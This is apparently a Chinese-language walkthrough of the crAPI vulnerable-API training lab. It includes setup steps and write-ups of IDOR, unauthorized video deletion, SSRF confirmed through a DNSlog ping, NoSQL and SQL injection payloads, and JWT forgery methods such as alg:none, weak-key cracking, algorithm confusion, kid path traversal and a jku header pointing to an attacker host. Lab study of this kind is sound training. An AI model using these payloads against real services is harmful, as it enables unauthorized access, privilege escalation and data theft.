搭建本地环境
本文采用Ubuntu 22系统搭建
安装docker和docker-composer
1 | sudo apt install docker.io -y #安装docker |
拉取和启动靶场
在/etc/docker/目录下管理员权限创建daemon.json文件,内容如下:
1 | { |
daemon.json 文件是 Docker 的守护进程的配置文件,用于以 JSON 格式定义启动参数。上述文件内容用于加速docker镜像
之后运行以下命令:
1 | sudo systemctl daemon-reload |
环境启动成功:
访问http://IP:8888/login
进入靶场。其中IP为虚拟机IP地址。
注册登录后访问 http://IP:8025/
打开邮件系统获取车辆信息,并添加到靶场中。
本文选择Challenge1,7,11,12,13,15进行记录,其他挑战较为简单且网络资源丰富,在此不做赘述。
Challenge 1 访问其他用户车辆的详细信息
点击其中一个条目,抓包得到如下内容:

得到车辆敏感信息:车辆ID,vehicledid
在车辆定位功能处,点击Refresh Location,抓包
得到如下信息,发现车辆的位置信息:
修改报文中的车辆ID部分,即可访问其他车辆信息:
Challenge 7 删除另一个用户的视频
找到视频API
使用OPTIONS协议探测支持的http协议
使用DELETE删除用户视频,修改ID即可删除其他用户视频
Challenge 11 让crAPI发送一个HTTP调用并返回HTTP响应
本节中利用DNS log进行测试
何为DNSlog
DNSlog 是一种常用于 安全测试、漏洞利用和渗透测试 中的技术工具或平台,它利用 DNS 协议的请求可被远程服务器监控的特性,帮助测试人员确认目标系统是否存在特定漏洞,尤其是 命令执行、SSRF(Server-Side Request Forgery)、盲注(Blind Injection) 等无法直接获取输出结果的漏洞。
DNSlog 通过诱导目标系统发出 DNS 请求,从而在测试者控制的 DNS 服务器上记录这些请求,以此判断目标系统是否已被成功利用。
工作原理
攻击者在 DNSlog 平台上注册,获得一个唯一子域名,比如:
1
12345.dnslog.cn
将这个子域名插入到漏洞利用的 payload 中(比如命令执行):
1
ping 12345.dnslog.cn
如果目标服务器存在漏洞并执行了该命令,它就会尝试解析这个域名。
DNSlog 平台记录下了这个 DNS 请求,攻击者就可以确认目标系统确实执行了 payload。
找到接口
用DBSlog网站验证(https://dig.pm/)
成功访问
Challenge 12 在不知道优惠券代码的情况下获得免费优惠券
找到验证优惠券的接⼝
nosql注入
与传统 SQL 注入不同,NoSQL 注入通常利用的是 键值对结构、对象表示 或 特殊运算符,如 $ne
, $gt
, $regex
, $where
等。由于很多 NoSQL 数据库(如 MongoDB)使用 JSON 格式进行查询,当用户输入未被严格校验或过滤时,攻击者可以传入复杂对象或特殊操作符,从而改变原始查询逻辑。
登录认证绕过
原始查询逻辑:
1 | db.users.findOne({ username: input_username, password: input_password }) |
攻击者提交:
1 | POST /login |
其中$ne的含义是不等于
在解析时,中括号会被解析成一个嵌套对象,即:
1 | { |
- 只要存在任何一个用户满足条件(用户名和密码都不为空),就能登录成功。
正则爆破(盲注)
目标:在没有回显的情况下,枚举敏感字段如密码。
原始查询
1 | db.users.findOne({ username: "admin", password: input_password }) |
攻击者提交:
1 | username=admin&password[$regex]=^a |
其中$regex用于执行正则表达式匹配
执行查询:
1 | { username: "admin", password: { $regex: "^a" } } |
- 如果返回为真,说明密码以
a
开头。攻击者可逐字符猜测密码。
类型混淆注入(参数类型注入)
目标:使用非法的类型结构绕过预期逻辑。
1 | db.products.find({ price: req.query.price }) // 用户输入 price=100 |
攻击者提交:
1 | GET /products?price[$gt]=0 |
$gt
表示 “greater than”(大于)的意思。
查询变为:
1 | { price: { $gt: 0 } } // 返回所有价格大于0的商品 |
造成数据泄露或意外查询结果。
JavaScript 注入($where 注入)
前提:MongoDB 启用了 $where
操作符支持 JavaScript 执行。
攻击者提交:
1 | username=admin&$where=1==1 |
查询变为*
1 | { |
所有记录都被查询出,可造成越权访问。
数组参数注入
场景*
1 | db.items.find({ category: req.query.category }) // 期望 category 是字符串 |
攻击者提交*
1 | category[$in]=electronics&category[$in]=toys |
$in
表示 “字段值在指定数组中”,即判断字段是否属于某几个值之一。
变为:
1 | { category: { $in: ["electronics", "toys"] } } |
- 实现枚举查询,可能绕过某些权限限制。
MongoDB 数据写入注入
攻击者若能控制更新操作的字段名或内容,也可能造成数据破坏或提权。
1 | db.users.update({ username: "admin" }, { $set: req.body }) |
表示将请求体(req.body
)里的所有字段都直接用作 更新文档中对应字段的值。
攻击者提交:
1 | { |
实现直接修改管理员权限或重置密码。
利用$ne实现泄露
Challenge 13 找到⼀种通过修改数据库来兑换已经领取的优惠券的⽅法
1 | #申请优惠券接口 |
后端将这个字符串直接拼接进 SQL 查询,且没有做防护,查询语句变成:
1 | SELECT * FROM coupons WHERE coupon_code = '1'or'1'='1' AND amount = 75; |
这里的 '1'='1'
总是成立,实现绕过验证。
Challenge 15 找到伪造有效 JWT 令牌的⽅法
JWT令牌
JWT令牌(JSON Web Token) 是一种紧凑、自包含的用于在网络应用环境间安全传递信息的标准格式。它广泛用于身份验证、授权以及信息交换。
JWT的组成
一个标准的JWT由三部分组成,使用点号(.
)分隔:
1 | header.payload.signature |
Header
描述令牌类型及所用签名算法,通常是:
1 | { |
Payload
存放声明(Claims),即需要传递的数据,如用户ID、过期时间等。
1 | { |
Signature
通过对Header和Payload进行Base64Url编码后,用密钥和指定算法(如HMAC SHA256)生成签名,保证数据完整性和身份验证。
JWT常用字段(Claims)
iss
:发行者(issuer)sub
:主题(subject)aud
:受众(audience)exp
:过期时间(expiration time)nbf
:在此时间之前不可用(not before)iat
:签发时间(issued at)kid
:是 JWT和 JWKS规范中的一个关键字段,意思是 “密钥标识符(Key ID)”。它的作用是指明 JWT 使用了哪把密钥进行签名,从而帮助接收方(验证者)从一组密钥中找到正确的公钥来验证 JWT 签名。- 自定义字段也可加入payload
JWT的工作流程
- 用户登录,服务器生成包含用户信息的JWT,签名后发给客户端。
- 客户端每次请求时在HTTP头部(通常是Authorization: Bearer )携带JWT。
- 服务器验证JWT签名,确认令牌有效后,允许访问资源。
具体流程
1 | [用户输入账号密码] ---> [服务器验证成功] ---> [生成JWT并返回] |
当然,下面是一个完整的 JWT 示例数据,以及它从加密到解码的 全过程,包括:
- Header + Payload + Signature 三部分构成
- Base64Url 编码/解码
- 签名生成验证流程
JWT 示例:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. |
Header:说明使用的签名算法和类型
Payload:数据载荷,携带用户信息等
Signature:签名,验证 JWT 的合法性
加密流程(生成过程)
Step 1:Header
Header 是一个 JSON 对象,例如:
1 | { |
用 Base64Url 编码后变为:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 |
Step 2:Payload
Payload 是要传递的数据,比如:
1 | { |
Base64Url 编码为:
1 | eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWxpY2UiLCJleHAiOjE3MDAwMDAwMDB9 |
Step 3:Signature 签名生成
签名的计算方式如下:
1 | HMACSHA256( |
使用密钥 secret = "my_secret_key"
,签名计算:
1 | HMACSHA256("eyJhbGciOi...J9.eyJ1c2Vy...MDB9", "my_secret_key") |
输出结果为:
1 | qE-yzLPTaFlp7t9pTwBtR8o7GcKvSRr9H6UzR_KrU6U |
最终 JWT:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. |
解码流程
解码 JWT 主要是对前两部分(Header 和 Payload)进行 Base64Url 解码:
解码 Header:
1 | { |
解码 Payload:
1 | { |
验证流程
拿到 Header + Payload,重新进行 Base64Url 编码,使用服务器端的密钥和算法对其签名,比较生成的签名是否与 JWT 中第三部分一致
如果一致 → JWT 未被篡改
如果不一致 → JWT 被伪造或篡改
/.well-known/jwks.json 文件作用
/.well-known/jwks.json
是在使用 JWT(JSON Web Token)+ 公钥加密(如 RS256) 的系统中,常用于公开发布验证用公钥的一个标准路径。它是 JWKS(JSON Web Key Set) 的定义文件,用于让客户端或第三方获取用于验证 JWT 签名的 公钥信息。
目录结构说明
1 | https://<your-domain>/.well-known/jwks.json |
这个文件的作用是提供一组公开的公钥,用于验证由该服务器签发的 JWT(通常使用 RS256 或 ES256 签名算法),JWT 的接收方通过解析这个 JSON 来选择合适的公钥进行验签。
示例:jwks.json
内容结构
1 | { |
各字段解释:
字段 | 含义 |
---|---|
kty |
密钥类型(如 RSA) |
kid |
密钥ID,用于 JWT 中的 kid 字段与之匹配 |
use |
用途,一般为 "sig" 表示用于签名验证 |
alg |
签名算法(如 RS256) |
n |
模数(Base64Url 编码) |
e |
指数(一般为 AQAB = 65537) |
JWT 验签流程与 JWKS 的关系
JWT 使用 非对称加密算法(如 RS256),由私钥签名。
接收方需要从签发者获取 公钥 验证签名。
JWT 中通常有一个 kid
字段指明该 JWT 用哪个公钥签的。
接收方访问:
1 | https://issuer.example.com/.well-known/jwks.json |
找到匹配的 kid
,提取 n
和 e
还原公钥。
使用该公钥验证 JWT 签名是否合法。
伪造有效 JWT 令牌方法
alg: none
签名绕过攻击
攻击原理:
JWT 的 Header 部分中有 alg
字段指定签名算法。如果服务端使用不安全的 JWT 库或错误配置,可能允许不带签名的 JWT(即 alg = none)被接受。
攻击者可以手动构造这样的 Header,使签名部分为空,但服务端依然验证通过。
前提条件:
- 服务端未禁用或未正确处理
alg=none
- 使用了早期版本或配置不当的 JWT 库(如旧版 Node.js
jsonwebtoken
)
攻击步骤:
将 Header 改为:
1 | { "alg": "none", "typ": "JWT" } |
修改 Payload(如将 "role": "user"
改为 "role": "admin"
)
删除签名部分,只保留两段:
1 | <base64url(header)>.<base64url(payload)>. |
示例:
1 | eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4ifQ. |
弱密钥重签名(对称算法爆破)
攻击原理:
若服务端使用对称签名算法(如 HS256
),攻击者可以通过爆破或猜测弱密钥(如 secret
, admin
, password
)来伪造签名。
前提条件:
- 签名算法为对称算法(HS256、HS512)
- 服务端使用弱密钥
- 攻击者可获取原始 JWT(如登录后)
攻击步骤:
解码 JWT,读取 Header:"alg": "HS256"
,用字典或暴力尝试猜测密钥:
1 | jwt_tool token.jwt -C -d wordlist.txt |
该命令将会:解码 token 的 header,查看 alg
(一般为 HS256
),提取签名前的数据(header.payload
)依次尝试字典中每个密钥:
对 header.payload
重新计算签名(如使用 HMAC-SHA256)与原 JWT 的签名部分比对,一旦发现匹配项,输出结果
伪造 payload 并使用猜中的密钥重新签名,生成签名后,拼接成伪造 JWT。
算法混淆攻击(RS256 ➝ HS256)
攻击原理:
RS256 是非对称算法,签名用私钥,验证用公钥;若服务端未验证算法种类,攻击者可将 RS256
改为 HS256
;然后用服务器的 公钥当作对称密钥 重签 payload。此时,服务器错误地用公钥去做对称验证,导致签名通过。
前提条件:
- JWT 原使用
RS256
(或其他非对称算法) - 服务端未强制验证
alg
- 攻击者能获取服务器公钥(通过 jwks.json 或配置泄露)
攻击步骤:
拿到公钥(PEM格式或 JWKS)将 JWT Header 改为:
1 | { "alg": "HS256", "typ": "JWT" } |
使用公钥作为对称密钥,重签 payload
示例命令(用 jwt_tool):
1 | jwt_tool token.jwt -X alg=HS256 -S "-----BEGIN PUBLIC KEY-----..." |
kid
(Key ID)注入攻击
攻击原理:
Header 中的 kid
字段用于标识使用哪个密钥验证 JWT。如果服务端使用 kid
值从文件或远程路径中加载密钥,而没有做安全校验,则攻击者可以控制该路径,注入文件路径或 URL 实现任意密钥加载。
前提条件:
- 服务端根据
kid
加载密钥文件或请求 URL - 未对
kid
做路径白名单或过滤
攻击方式:
A. 本地路径穿越:
1 | { "alg": "HS256", "kid": "../../../../../tmp/evilkey" } |
服务端从该路径加载密钥并验证伪造 token。
B. 指向远程 JWK 服务:
1 | { "alg": "RS256", "jku": "https://attacker.com/evil_jwks.json" } |
如果服务器信任 jku 指定的外部地址,即可控制验证过程。
JWK 混淆注入(Key Confusion)
JWK是一种基于 JSON 格式的数据结构,用于表示各种类型的密钥(包括对称密钥、公钥、私钥),便于在 Web 应用中传输和交换。正常情况下,jwk
字段一般不会直接出现在 JWT 的 Header 里,而是作为密钥管理和分发机制的一部分存在。最常见的用法是服务器发布的 JWK 集合(JWKS),它是一个包含多个 JWK 的 JSON 对象,通常通过 URL 公开供客户端获取。
攻击者在 Header 中添加一个 jwk
字段,构造一个伪造的公钥(甚至是对称密钥),欺骗服务端直接从该 header 中提取 JWK 进行验证,从而自己控制签名密钥。
示例 Header:
1 | { |
如果服务端支持从 header 中提取 jwk 并使用其中密钥,攻击者就可以伪造签名并通过验证。
Token 重放攻击(Replay Attack)
攻击原理:
JWT 本身是无状态的,一旦被窃取(如通过 XSS、Man-in-the-Middle),攻击者可以无限制使用;如果 token 没有过期时间 (exp
),或者没有 jti
(JWT ID)用于黑名单机制,令牌可重复使用。
攻击方式:攻击者通过 XSS 或网络窃听拿到 victim 的 JWT,将 token 用于认证请求,系统无法区分合法与伪造请求